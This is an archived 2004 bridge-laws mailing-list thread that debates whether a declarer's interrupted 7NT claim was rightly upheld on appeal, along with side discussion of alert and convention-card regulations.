Claimer is not supposed to think about a claim statement, claimer is supposed to make a statement, and a short one at that. Not that easy to interrupt. Maybe that AC can explain this to me. But I am never going to believe them without full support of the table TD. And this will not be forthcoming given the TD ruling. By the way on AC I can hardly imagine overruling a table TD on such an issue let alone without discussing this with the TD. 7. Looking once more at face value at the text of RJH I realise declarer started with 'the clubs are good' or something like that. Yeah if you do that in 7NT you get objections from someone holding a club stop (maybe he 'should' wait a couple of seconds but that really is asking too much). Once more this is not claim interruption this is just a stupid claim. Keep it simple. Jaap ----- Original Message ----- From: To: Cc: Sent: Sunday, January 25, 2004 9:59 PM Subject: Re: [blml] NOT News During the South West Pacific Teams, I had dinner with a non-claiming side who had a TD's ruling in their favour overturned on appeal. They requested that I submit the details to blml for comment. Best wishes Richard James Hills * * * NOT News, Thursday January 22 2004, page 6: FROM THE APPEALS ROOM SWPT Convention Centre, Round 5 Board 7, South deals, all vul K Q 9 8 A 4 K T 6 A K 7 4 7 5 3 J 6 4 J T 8 5 2 Q 9 3 9 8 4 J 7 2 Q 3 9 8 5 2 A T 2 K 7 6 A Q 5 3 J T 6 West North East South - - - 1D Pass 1S Pass 1NT Pass 4NT Pass 5H Pass 5NT Pass 6D Pass 7NT Pass Pass Pass Table result: Claim after five tricks for 13 tricks, 2220 Datum: +1340 NS Adjustment: 12 tricks, -100 NS The Director, Simon Edler, was called to the table by East after declarer stated "I've got the clubs" as he faced his hand. South maintained that East's objection had stopped him midsentence as he was about to state his line of play, saying he was going to say "I've got the clubs, so I'll cash the spades, throwing H7 if they break, cash HK, D5, throwing C4, then the two best clubs for the remaining eight tricks. EW maintained that South had initially said "the clubs are good", not "I've got the clubs". The Director ruled that declarer loses one trick either because spades were not originally mentioned (Law 70D) or that even though he realizes the third club is not good and therefore requires four spade tricks, there is an option of either playing for the drop or finessing against jack-to-four in an opponent's hand - this latter line is not allowed under Law 70E. The Committee's Ruling: The Committee is unanimous that the claimant was not allowed to complete the clarification of his claim prior to the Director being called. Further that his subsequent statement about the spade suit was admissible as a clarification of the original claim. Further, the Committee believed that if EW had allowed the claimant to make a fuller statement at the time, this may have resulted in a different result. Committee Personnel: Ivy Dahler (Chairman), Ted Chadwick, Peter Fordham, Phil Gue, Terry Brown ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From nigel.guthrie@ntlworld.com Tue Jan 27 15:02:46 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 27 Jan 2004 15:02:46 -0000 Subject: [blml] NOT News References: <8ABDFDB2-5025-11D8-B463-0030656F6826@rochester.rr.com> Message-ID: <008e01c3e4e6$a0a22de0$7b9868d5@tinyhrieuyik> {Ed Reppert] > If that ("I've got the clubs") was the extent of his > statement, you'd have a point. But it wasn't, there was > more to it, and he should have been given the opportunity > to finish. In fact, he *did* complete it. And I don't think > you can use L70D to disregard the complete statement. [Nigel] You could be right, Ed, if declarer is a poor card-player, unfamiliar with counting the hand, squeezes, or even the meaning of a statement like "I have the clubs." However, I am sure, in that case, the TD would have given him the benefit of the doubt. Although, I suppose you could argue that an only experienced declarer would have had the gall to advance so implausible and embarrassing an "explanantion" --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From nigel.guthrie@ntlworld.com Tue Jan 27 15:45:26 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 27 Jan 2004 15:45:26 -0000 Subject: [blml] NOT News References: <8ABDFDB2-5025-11D8-B463-0030656F6826@rochester.rr.com> <008e01c3e4e6$a0a22de0$7b9868d5@tinyhrieuyik> Message-ID: <012a01c3e4ec$96b895c0$7b9868d5@tinyhrieuyik> {Ed Reppert] > If that ("I've got the clubs") was the extent of his > statement, you'd have a point. But it wasn't, there was > more to it, and he should have been given the opportunity > to finish. In fact, he *did* complete it. And I don't think > you can use L70D to disregard the complete statement. [Nigel with correction] You could be right, Ed, if declarer is a poor card-player, unfamiliar with counting the hand, squeezes, or even the meaning of a statement like "I have the clubs." However, I am sure, in that case, the TD would have given him the benefit of the doubt. Although, I suppose you could argue that only an inexperienced declarer would have had the gall to advance so implausible and embarrassing an "explanantion". --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From ereppert@rochester.rr.com Tue Jan 27 15:59:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 27 Jan 2004 10:59:27 -0500 Subject: [blml] NOT News In-Reply-To: <40162D2F.7080705@hdw.be> Message-ID: On Tuesday, Jan 27, 2004, at 04:19 US/Eastern, Herman De Wael wrote: > Forget for a moment the interruption on the claim statement, and tell > me what you do to a man who claims in this position. What was his stated line of play? From ereppert@rochester.rr.com Tue Jan 27 16:05:46 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 27 Jan 2004 11:05:46 -0500 Subject: [blml] NOT News In-Reply-To: <40165D02.5010807@hdw.be> Message-ID: On Tuesday, Jan 27, 2004, at 07:43 US/Eastern, Herman De Wael wrote: > At that time, he'll start thinking and he'll realize that he has three > possible lines for his fourth spade trick. What he *said* was that if the spades break he'd pitch the H7 on the fourth spade. So he plans to run 3 top spades, and if they break.... If they don't break, he hasn't said what he'll do. They do break. What's the problem? From ereppert@rochester.rr.com Tue Jan 27 16:10:55 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 27 Jan 2004 11:10:55 -0500 Subject: [blml] NOT News In-Reply-To: Message-ID: <62C23866-50E3-11D8-8A33-0030656F6826@rochester.rr.com> On Tuesday, Jan 27, 2004, at 09:52 US/Eastern, Jaap van der Neut wrote: > 3. I tend not to believe this interruption story. I do. > Probably it became clear it was a misclaim and the > consequent/subsequent > remarks, questions, discusion were labeled as an interruption. Why, no > sane player claims in > this situation and although insanity is legal you don't get the > benefit of > the doubt IMHO. You're fishing for a justification for your unfounded assumption. > If a player would try to sell to me that he was about to make some > complicated line of play > statement I would take it as lying (if you realise you need 4S or 4C > with squeeze options you don't claim, > come on). The claim statement he was about to make wasn't complicated. And if I were this guy, and you were the TD, well, you better be damn careful about how you word your ruling, sir. > So it is safe to assume he miscounted his tricks Bull. From ereppert@rochester.rr.com Tue Jan 27 16:16:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 27 Jan 2004 11:16:34 -0500 Subject: [blml] NOT News In-Reply-To: <008e01c3e4e6$a0a22de0$7b9868d5@tinyhrieuyik> Message-ID: <2CCA0E8B-50E4-11D8-8A33-0030656F6826@rochester.rr.com> On Tuesday, Jan 27, 2004, at 10:02 US/Eastern, Nigel Guthrie wrote: > You could be right, Ed, if declarer is a poor card-player, > unfamiliar with counting the hand, squeezes, or even the > meaning of a statement like "I have the clubs." However, > I am sure, in that case, the TD would have given him the > benefit of the doubt. Although, I suppose you could argue > that an only experienced declarer would have had the gall > to advance so implausible and embarrassing an "explanantion" You know, I'm getting mighty tired of the condescension I get from several people on this list. If it happens again, I'm either gonna start killfiling, or I'm gonna unsubscribe. From mfrench1@san.rr.com Tue Jan 27 06:54:13 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 26 Jan 2004 22:54:13 -0800 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> Message-ID: <000001c3e4f2$8c134ec0$6401a8c0@san.rr.com> From: "David Stevenson" > Of course, the chicken and egg problem has been shown here and > elsewhere to be non-existent as a problem, so I am not convinced that is > relevant either. > "We play penalty doubles against your very light overcalls." "In that case, we play sound overcalls." "In that case, we play negative doubles." "In that case, we play very light overcalls." "In that case...." This is not a problem??? Marv Marvin L. French San Diego, California From blml@blakjak.com Tue Jan 27 16:29:48 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jan 2004 16:29:48 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB160A@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB160A@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote > >>What's my point? Unusual agreements like this are not conspiciously >>shown on the card, are not subject to pre-alerts (in the US), and could >>be a big suprise to oppo. Yet I know of no set of alerting/cc >>regulations where this will spring to your attention on a quick read >>through. > >[DWS] > The EBU card has a section for "Aspects of System which Opponents >should note". This agreement must be shown in that section otherwise >you have been misinformed. The EBU L&EC of many years ago did identify >the problem to which you refer and that is why that section is there on >the CC. > >[FH] >They were using WBF convention cards. As I can't see anything in the >Crockfords regulations allowing their use, I infer that in fact this >was not allowed and therefore this was the problem. > >This raises a good point: the front of the EBU card is very useful >for pointing out unusual agreements. In general the WBF card is >harder to understand; this isn't usually a problem because you will >often get the cards in advance for a serious event where WBF cards >are permitted. > >I knew the regulation in the Orange book saying you couldn't use WBF >cards unless they are specifically permitted was there for a reason! The rules for WBF cards are simple: allowed in Level 5 competitions: disallowed in Level 1/2/3 competitions: disallowed unless the SO say otherwise in Level 4. The Tournament Committee, in effect the SO, did not permit them in any Level 4 competition, so their use in England is restricted to later rounds of Trials, Spring Foursomes and the Brighton Seniors tourney. So you were misinformaed by opponents' failure to follow the regs. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From mfrench1@san.rr.com Tue Jan 27 16:49:37 2004 From: mfrench1@san.rr.com (Marvin French) Date: Tue, 27 Jan 2004 08:49:37 -0800 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> <009901c3e46b$428ee340$a0284cd5@c5s5d3> Message-ID: <000b01c3e4f5$8e6f86e0$6401a8c0@san.rr.com> From: "Konrad Ciborowski" < From: "Marvin French" > Analogy: A pair is not allowed to play very sound overcalls against > penalty doublers and very weak overcalls against negative doublers, > even if this is shown on the convention card (i.e., the box for "very > light style" is checked with the qualification "Vs negative doublers only." > The analogy is false. In the case of the overcalls the overcall comes *before* the double of it and that is why you are not allowed to play "sound overcalls vs negative doublers" style. [MLF] As I wrote But the opponents *are* allowed to play "penalty doubles of light overcalls and negative doubles over sound ones". [MLF] Agreed. In the Frances's case the double of the cue-bid comes before the eventual redouble so Frances is permitted to first ask the meaning of the double and then proceed accordingly. [MLF] But the double of the cue bid (or splinter) comes after the cue bid. It is a counter to the cue bid (or splinter). An opponent can indeed ask for the meaning of the double, and then proceed accordingly, but cannot have a conventional way of dealing with it (or turn off a convention, for that matter), at least not in ACBL-land. If I implied that the double's meaning must be ignored completely, that was an error. But his opponents cannot first ask "Is your redouble over our double for penalties?" and then, depending on the answer, play a anti-lead directing doubles or classical doubles. [MLF] Indeed Marv Marvin L. French San Diego, California _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From toddz@att.net Tue Jan 27 19:42:45 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Tue, 27 Jan 2004 14:42:45 -0500 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> 3 of the first 5 tricks had to be diamonds. Declarer already knows they're breaking, otherwise the statement about cashing the D5 in the claim would result in a 12-tricks decision without any discussion. Lead was probably heart to the A since the AH is not mentioned in the claim statement. And a club finesse, probably with the Q appearing, else trick 6 should be a small club to the A or K. With 12 obvious tricks, it looks like he's claiming the 13th in clubs, not in spades, and declarer hasn't demonstrated how that 13th trick in clubs is coming about. Even in his clarification he doesn't seem to realize that 4 spade tricks are necessary. I'm inclined to believe it was a bad claim and the "interruption" woke declarer up to the realities of the hand, specifically that he didn't have 4 club tricks just yet. -Todd From johnson@CCRS.NRCan.gc.ca Tue Jan 27 20:58:35 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Tue, 27 Jan 2004 15:58:35 -0500 (EST) Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: from "David Stevenson" at Jan 27, 2004 01:32:43 AM Message-ID: <200401272058.i0RKwZPl007168@athena.ccrs.nrcan.gc.ca> David Stevenson writes: > > Ron Johnson wrote > >David Stevenson writes: > >> > >> The EBU card has a section for "Aspects of System which Opponents > >> should note". This agreement must be shown in that section otherwise > >> you have been misinformed. The EBU L&EC of many years ago did identify > >> the problem to which you refer and that is why that section is there on > >> the CC. > > > >That's a good first step, but it doesn't seem adequate to me. How > >do you fill out the card in a way that attract's Francis' attention? > > Unlike North America, people in England actually do swap CCs. :)) > > Frances picks up the CC, and looks at the section which says "Aspects > of System which Opponents should note". There she finds such things. > > Or, to put it another way, it as though we have a pre-alert section on > the card. > I understand that. What I'm interested in is how the entry should read. From mv.phaff@quicknet.nl Tue Jan 27 21:05:23 2004 From: mv.phaff@quicknet.nl (Martin Phaff) Date: Tue, 27 Jan 2004 22:05:23 +0100 Subject: [blml] NOT News In-Reply-To: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> Message-ID: The first five tricks: declarer made a successful finesse on S J, made three D tricks and a successful finesse on C Q. Collecting 4 Spades, 2 Hearts, 4 Diamonds and 3 Clubs, a very solid claim. -----Oorspronkelijk bericht----- Van: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] Namens Todd M. Zimnoch Verzonden: dinsdag 27 januari 2004 20:43 Aan: blml@rtflb.org CC: judymott1@bigpond.com Onderwerp: Re: [blml] NOT News 3 of the first 5 tricks had to be diamonds. Declarer already knows they're breaking, otherwise the statement about cashing the D5 in the claim would result in a 12-tricks decision without any discussion. Lead was probably heart to the A since the AH is not mentioned in the claim statement. And a club finesse, probably with the Q appearing, else trick 6 should be a small club to the A or K. With 12 obvious tricks, it looks like he's claiming the 13th in clubs, not in spades, and declarer hasn't demonstrated how that 13th trick in clubs is coming about. Even in his clarification he doesn't seem to realize that 4 spade tricks are necessary. I'm inclined to believe it was a bad claim and the "interruption" woke declarer up to the realities of the hand, specifically that he didn't have 4 club tricks just yet. -Todd _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From cibor@poczta.fm Wed Jan 28 00:06:57 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 28 Jan 2004 01:06:57 +0100 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> <009901c3e46b$428ee340$a0284cd5@c5s5d3> <000b01c3e4f5$8e6f86e0$6401a8c0@san.rr.com> Message-ID: <000301c3e532$a8230a20$9fd363d9@c5s5d3> ----- Original Message ----- From: "Marvin French" > [MLF] But the double of the cue bid (or splinter) comes after the cue b= id. Agreed - all this means that North-South are allowed to vary the meaning of the double according to the meaning of the cue-bid (eg. if 4C shows a first-round control then dbl shows X, otherwise it shows Y) but not the eventual redouble. Therefore I don't see how you came to the conclusion that East-West cannot "have a conventional way of dealing with the double (or turn off a convention, for that matter)," They can - just the same as they can have a conventional way of dealing with the 1C opening - "if your 1C is natural then our 1D overcall means X, if it is Polish then Y and if it is Precision then Z". But you cannot vary the meaning of the 1D overcall depending on the meaning of bids that come *after* it. In the same manner East-West are allowed to vary the meaning of the redouble of their opponents' double depending on the meaing of the double. Do you concur? Konrad Ciborowski Krak=F3w, Poland From jaapvanderneut@hotmail.com Wed Jan 28 00:41:49 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 01:41:49 +0100 Subject: [blml] NOT News References: <62C23866-50E3-11D8-8A33-0030656F6826@rochester.rr.com> Message-ID: Ed, If you mean this you are not a bridge player but a lawyer.You seem to think it is normal to claim 7NT with only 12 toptricks and various lines for 13. It is not. Nobody does. So if you are the only one you are just out of luck if on top of that you provoke an early objection by saying something silly about clubs for starters. And about my 'unfounded assumptions' well apart from common sense you seem to be lacking I just take the table TD serious. The table TD didn't buy the story (which means far more than all my 'unfounded assumptions' or yours or the AC's). Forgive me for not buying this bullshit either. And about me being 'damn careful' about ruling on your claims. Well my dear friend if you try this claim and I happen to be TD/AC you better prove you have the habit of claiming grand slams one trick short otherwise I reserve the right to not believe you. Anyway for someone complaining about other posters language you might consider tuning down a little bit yourself. Jaap ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Tuesday, January 27, 2004 5:10 PM Subject: Re: [blml] NOT News > > On Tuesday, Jan 27, 2004, at 09:52 US/Eastern, Jaap van der Neut wrote: > > > 3. I tend not to believe this interruption story. > > I do. > > > Probably it became clear it was a misclaim and the > > consequent/subsequent > > remarks, questions, discusion were labeled as an interruption. Why, no > > sane player claims in > > this situation and although insanity is legal you don't get the > > benefit of > > the doubt IMHO. > > You're fishing for a justification for your unfounded assumption. > > > If a player would try to sell to me that he was about to make some > > complicated line of play > > statement I would take it as lying (if you realise you need 4S or 4C > > with squeeze options you don't claim, > > come on). > > The claim statement he was about to make wasn't complicated. And if I > were this guy, and you were the TD, well, you better be damn careful > about how you word your ruling, sir. > > > So it is safe to assume he miscounted his tricks > > Bull. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Wed Jan 28 01:09:43 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jan 2004 01:09:43 +0000 Subject: [blml] NOT News In-Reply-To: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> References: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> Message-ID: Todd M. Zimnoch wrote > 3 of the first 5 tricks had to be diamonds. Declarer already >knows they're breaking, otherwise the statement about cashing the D5 in >the claim would result in a 12-tricks decision without any discussion. > Lead was probably heart to the A since the AH is not mentioned >in the claim statement. > And a club finesse, probably with the Q appearing, else trick 6 >should be a small club to the A or K. > > With 12 obvious tricks, it looks like he's claiming the 13th in >clubs, not in spades, and declarer hasn't demonstrated how that 13th >trick in clubs is coming about. Even in his clarification he doesn't >seem to realize that 4 spade tricks are necessary. I'm inclined to >believe it was a bad claim and the "interruption" woke declarer up to >the realities of the hand, specifically that he didn't have 4 club >tricks just yet. Maybe so, but that does not excuse the opponents' bad conduct. No doubt if they had shut up it would have come out as a bad claim and declarer would have got a bad result. But once the prats of oppos decide not to allow a proper claim the balance of doubt shifts. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Jan 28 01:11:02 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jan 2004 01:11:02 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <200401272058.i0RKwZPl007168@athena.ccrs.nrcan.gc.ca> References: <200401272058.i0RKwZPl007168@athena.ccrs.nrcan.gc.ca> Message-ID: <6guhkgOmwwFAFwWe@blakjak.demon.co.uk> Ron Johnson wrote >David Stevenson writes: >> >> Ron Johnson wrote >> >David Stevenson writes: >> >> >> >> The EBU card has a section for "Aspects of System which Opponents >> >> should note". This agreement must be shown in that section otherwise >> >> you have been misinformed. The EBU L&EC of many years ago did identify >> >> the problem to which you refer and that is why that section is there on >> >> the CC. >> > >> >That's a good first step, but it doesn't seem adequate to me. How >> >do you fill out the card in a way that attract's Francis' attention? >> >> Unlike North America, people in England actually do swap CCs. :)) >> >> Frances picks up the CC, and looks at the section which says "Aspects >> of System which Opponents should note". There she finds such things. >> >> Or, to put it another way, it as though we have a pre-alert section on >> the card. >> >I understand that. What I'm interested in is how the entry should read. Doubles of cue-bids deny leads? It may not make a lot of sense, but something like that is enough ot wake up an oppo to ask further details if interested. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From dave.guthrie@ntlworld.com Wed Jan 28 01:13:15 2004 From: dave.guthrie@ntlworld.com (Dave Guthrie) Date: Wed, 28 Jan 2004 01:13:15 -0000 Subject: [blml] NOT News Message-ID: <00eb01c3e53b$e8e29360$239868d5@tinyhrieuyik> {Ed Reppert] > You know, I'm getting mighty tired of the condescension > I get from several people on this list. If it happens again, > I'm either gonna start killfiling, or I'm gonna unsubscribe. {Nigel] I started out with the same view as you Ed but changed my mind. I tend to disparage views that I think are wrong and I now think the AC made the wrong ruling; but I don't think the case is clear cut because the claimer does seem to have been a poor card-player. No condescension or irony intended. Sorry. Ed, I am afraid that you often appear to be condescending and disparaging too. Nevertheless, I would rather that you kill-file me than unsubscribe, because I value your opinions. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 25/01/2004 From blml@blakjak.com Wed Jan 28 01:14:54 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 28 Jan 2004 01:14:54 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <000001c3e4f2$8c134ec0$6401a8c0@san.rr.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> <000001c3e4f2$8c134ec0$6401a8c0@san.rr.com> Message-ID: Marvin French wrote >From: "David Stevenson" > >> Of course, the chicken and egg problem has been shown here and >> elsewhere to be non-existent as a problem, so I am not convinced that is >> relevant either. >> >"We play penalty doubles against your very light overcalls." > >"In that case, we play sound overcalls." > >"In that case, we play negative doubles." > >"In that case, we play very light overcalls." > >"In that case...." > >This is not a problem??? Of course not. For goodness sake, this has been discussed so many times, Marv. Board 1. 1C 1S "What is 1S?" Of course you make it sound like a problem with your "in that case" scenario but no-one but a complete idiot does that. What they do is to write penalty doubles v light overcalls, takeout doubles v sound overcalls on their CC and wait for them to turn up. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Wed Jan 28 06:58:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 28 Jan 2004 01:58:56 -0500 Subject: [blml] NOT News In-Reply-To: <00eb01c3e53b$e8e29360$239868d5@tinyhrieuyik> Message-ID: <71012EFC-515F-11D8-8A33-0030656F6826@rochester.rr.com> *Dave* Guthrie? :-) Answered in private email, as that's how I originally got it. From hermandw@hdw.be Wed Jan 28 08:59:13 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 09:59:13 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <401779E1.80201@hdw.be> Ed Reppert wrote: > > On Tuesday, Jan 27, 2004, at 04:19 US/Eastern, Herman De Wael wrote: > >> Forget for a moment the interruption on the claim statement, and tell >> me what you do to a man who claims in this position. > > > What was his stated line of play? > Well, if you insist, you can have the line he stated to the AC. But do you really believe anyone would claim like that? So imagine some "stated line" that makes sense. That is the problem with many a claim case presented to blml. Some readers try to get into the minds of the claimer, and they end up with true stories. Others just want to look at 52 cards. They end up with hypothetical stories that serve no purpose whatsoever. Try and imagine this case in real life. Can you conceive of any player claiming after five tricks in his full senses? No you can't. What you can do is imagine the following set of circumstances: Claimer played the jack/ten of clubs, which was covered. He thought he was home and dry and claimed without further thought. Do you think there is another rational explanation for the facts as presented? If you do, please tell us, and we can judge your case as well. If you don't, then let's simply assume that this is the story. Now in the real story, claimer was interrupted, and he only told a line to the AC. We don't know why the AC decided to accept this ludicrous line, but perhaps they wanted to punish opponents for not allowing claimer to continue. But that's not the point of our discussion here. We start a hypothetical, in which claimer is not interrupted. And I ask you how you would rule. OK, you reply with a fair question. "What was his claim statement?" Now we might imagine a lot of claim statements, but surely not "I'm cashing four spade tricks". Most probably (and again, if you want to give a ruling on another stated line, please do so) there will be no further statement, other than "the clubs are good and the rest is high and than makes ... shit, the clubs aren't good, are they?". Now there is a far more interesting case than this one, and it's one where we take away the nine of spades: K Q 8 6 - 4 - - - A - 7 4 7 5 3 J 9 4 J T 8 5 - Q 9 - - - - - - - - 3 9 8 5 - A T 2 K 7 - - - 5 - J - 6 It seems to me that in this lay-out, the only question that remains is "would claimer notice he does not have high clubs 100% of the time?" because now, all normal lines lead to 13 tricks. note: if running the ten and repeating the finesse on the 9 is a normal line - it works only with two cards well-placed - then please take away the 8 as well. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jan 28 09:02:42 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 10:02:42 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <40177AB2.3020908@hdw.be> Ed Reppert wrote: > > On Tuesday, Jan 27, 2004, at 07:43 US/Eastern, Herman De Wael wrote: > >> At that time, he'll start thinking and he'll realize that he has three >> possible lines for his fourth spade trick. > > > What he *said* was that if the spades break he'd pitch the H7 on the > fourth spade. So he plans to run 3 top spades, and if they break.... If > they don't break, he hasn't said what he'll do. They do break. What's > the problem? > The problem is that after a stated line of play "breaks down", a player is not held to it anymore. Surely you agree with me that it is possible for the claimer to notice that he does not have 13 tricks, and that he therefor considers his "stated" line to have broken down. Look up the strange claim for a second example. I'm not saying (here) that he would notice 100% of the time, but surely it is possible for him to notice, isn't it? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jan 28 09:04:38 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 10:04:38 +0100 Subject: [blml] NOT News In-Reply-To: <62C23866-50E3-11D8-8A33-0030656F6826@rochester.rr.com> References: <62C23866-50E3-11D8-8A33-0030656F6826@rochester.rr.com> Message-ID: <40177B26.2040207@hdw.be> Ed Reppert wrote: > > The claim statement he was about to make wasn't complicated. And if I > were this guy, and you were the TD, well, you better be damn careful > about how you word your ruling, sir. > "are you telling me, esteemed player, that you consider K Q 9 8 opposite A T 2 as worth 4 tricks?" > > Bull. > you said it. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jan 28 09:07:34 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 10:07:34 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <40177BD6.70308@hdw.be> Martin Phaff wrote: > The first five tricks: declarer made a successful finesse on S J, made three > D tricks and a successful finesse on C Q. Collecting 4 Spades, 2 Hearts, 4 > Diamonds and 3 Clubs, a very solid claim. > Thank you Martin, for showing all of us that it is very hard to assume anything. You do agree though, that if this had been the real way the play went, we would not be talking about this case? You do allow us to continue the discussion with thee other assumption? > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Jan 28 09:08:23 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 28 Jan 2004 10:08:23 +0100 Subject: [blml] NOT News In-Reply-To: References: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> Message-ID: <40177C07.2040800@hdw.be> David Stevenson wrote: > > But once the prats of oppos decide not to allow a proper claim the > balance of doubt shifts. > Indeed it does, David, but do you have any doubts? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From jaapvanderneut@hotmail.com Wed Jan 28 09:13:42 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 28 Jan 2004 10:13:42 +0100 Subject: [blml] NOT News References: <6.0.1.1.1.20040127134247.01aecfb8@postoffice.worldnet.att.net> Message-ID: DWS: Maybe so, but that does not excuse the opponents' bad conduct. No doubt if they had shut up it would have come out as a bad claim and declarer would have got a bad result. But once the prats of oppos decide not to allow a proper claim the balance of doubt shifts. Jaap: What makes you think opponents conduct was bad. It wasn't according to the table TD. What about AC's conduct to overrule the table TD on this one without even hearing her. At least this is what I understand about RJH's writeup. Anyway I am still waiting about this AC's definition about claim interruption. And what about claimers conduct? Claiming this at this stage is not only stupid, it is also creates this kind of prolblems, so it is bad behaviour in itself. But in the end I don't know the reputation of the AC members, the players and the TD. So there are all kind of explanations for the social dimension of this case. But who cares, claiming this at this stage is for me proof enough claimer didn't know what he was doing. The TD statement, even if only vaguely accurate, supports this view. And the excuse that declarer was a poor player (some said so) doesn't matter. A poor claim is a poor claim. Whoever makes it. And really poor players never claim let alone this kind of positions. So don't be silly about 'not allowing a proper claim'. This simply is not a proper claim, if you think so you are simply not a bridge player, lack common sense, or you are out of touch with reality. Probably all three. Because you seem to think it is 'proper' to claim a grand with only 12 top tricks and multiple options for 13. ----- Original Message ----- From: "David Stevenson" To: Sent: Wednesday, January 28, 2004 2:09 AM Subject: Re: [blml] NOT News > Todd M. Zimnoch wrote > > 3 of the first 5 tricks had to be diamonds. Declarer already > >knows they're breaking, otherwise the statement about cashing the 